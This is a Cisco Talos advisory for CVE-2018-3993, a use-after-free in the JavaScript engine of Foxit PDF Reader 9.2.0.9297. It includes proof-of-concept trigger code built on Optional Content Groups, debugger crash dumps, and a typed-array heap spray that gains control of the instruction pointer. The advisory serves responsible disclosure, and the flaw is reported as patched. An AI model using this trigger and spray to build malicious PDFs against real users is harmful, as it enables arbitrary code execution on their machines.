Headline
CVE-2018-3993: TALOS-2018-0661 || Cisco Talos Intelligence Group
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Summary
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Tested Versions
Foxit Software Foxit PDF Reader 9.2.0.9297.
Product URLs
https://www.foxitsoftware.com/products/pdf-reader/
CVSSv3 Score
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE
CWE-416: Use After Free
Details
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Accessing a variable which keeps a reference to a stale object can lead to use-after-free condition.
This particular vulnerability lies in invoking the way “Optional Content Groups” are manipulated. Saving an OCG and then accessing its properties after the document is closed can trigger a use-after-free condition like in the following code:
var tmp = this.getOCGs()[0]; // save reference to first OCG
app.activeDocs[0].closeDoc(); // close and free objects
tmp["state"] = 0; // access stale reference causes use-after-free
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(10d0.d68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=002be360 ebx=115e8fc8 ecx=12a62fb8 edx=00000000 esi=002be700 edi=12bbbff8
eip=0188ea0d esp=002be31c ebp=002be36c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
FoxitReader!CryptUIWizExport+0x13168d:
0188ea0d 8b01 mov eax,dword ptr [ecx] ds:0023:12a62fb8=????????
0:000> dd ecx
12a62fb8 ???????? ???????? ???????? ????????
12a62fc8 ???????? ???????? ???????? ????????
12a62fd8 ???????? ???????? ???????? ????????
12a62fe8 ???????? ???????? ???????? ????????
12a62ff8 ???????? ???????? ???????? ????????
12a63008 ???????? ???????? ???????? ????????
12a63018 ???????? ???????? ???????? ????????
12a63028 ???????? ???????? ???????? ????????
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002be36c 0188dcef FoxitReader!CryptUIWizExport+0x13168d
01 002be3c4 0281f412 FoxitReader!CryptUIWizExport+0x13096f
02 002be400 0289a61d FoxitReader!FXJSE_GetClass+0x432
03 002be4bc 0289a379 FoxitReader!CFXJSE_Arguments::GetValue+0x7aeed
0:000> u
FoxitReader!CryptUIWizExport+0x13168d:
0188ea0d 8b01 mov eax,dword ptr [ecx]
0188ea0f ff5004 call dword ptr [eax+4]
Analyzing the heap state clearly shows that ecx points into a freed memory region. Also, we can see that the instruction immediately following the point of the crash makes an indirect call to a controlled address. We can abuse typed arrays to try and fill the memory of the freed object. A simple spray of Int32Array typed array of size 0x48 sufices in this case:
global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0x48 );
var int32View = new Int32Array(global.arr[i]);
for(var j = 0; j <int32View.length ; j++){
int32View[j] = 0xeaeaeaea;
}
}
Loading the PoC in the Foxit Reader with PageHeap disabled this time results in the following crash:
(17fc.1770): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for FoxitReader.exe -
eax=eaeaeaea ebx=08923920 ecx=06952110 edx=00000000 esi=0018eb70 edi=08920db0
eip=0188ea0f esp=0018e78c ebp=0018e7dc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
FoxitReader!CryptUIWizExport+0x13168f:
0188ea0f ff5004 call dword ptr [eax+4] ds:0023:eaeaeaee=????????
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0018e7dc 0188dcef FoxitReader!CryptUIWizExport+0x13168f
01 0018e834 0281f412 FoxitReader!CryptUIWizExport+0x13096f
02 0018e870 0289a61d FoxitReader!FXJSE_GetClass+0x432
03 0018e92c 0289a379 FoxitReader!CFXJSE_Arguments::GetValue+0x7aeed
As we have direct control over the instruction pointer this can easily lead to arbitrary code execution.
Timeline
2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.
Related news
Foxit PDF Editor v11.3.1 was discovered to contain an arbitrary file upload vulnerability.
Foxit PDF Reader and PDF Editor before 11.2.2 have a Type Confusion issue that causes a crash because of Unsigned32 mishandling during JavaScript execution.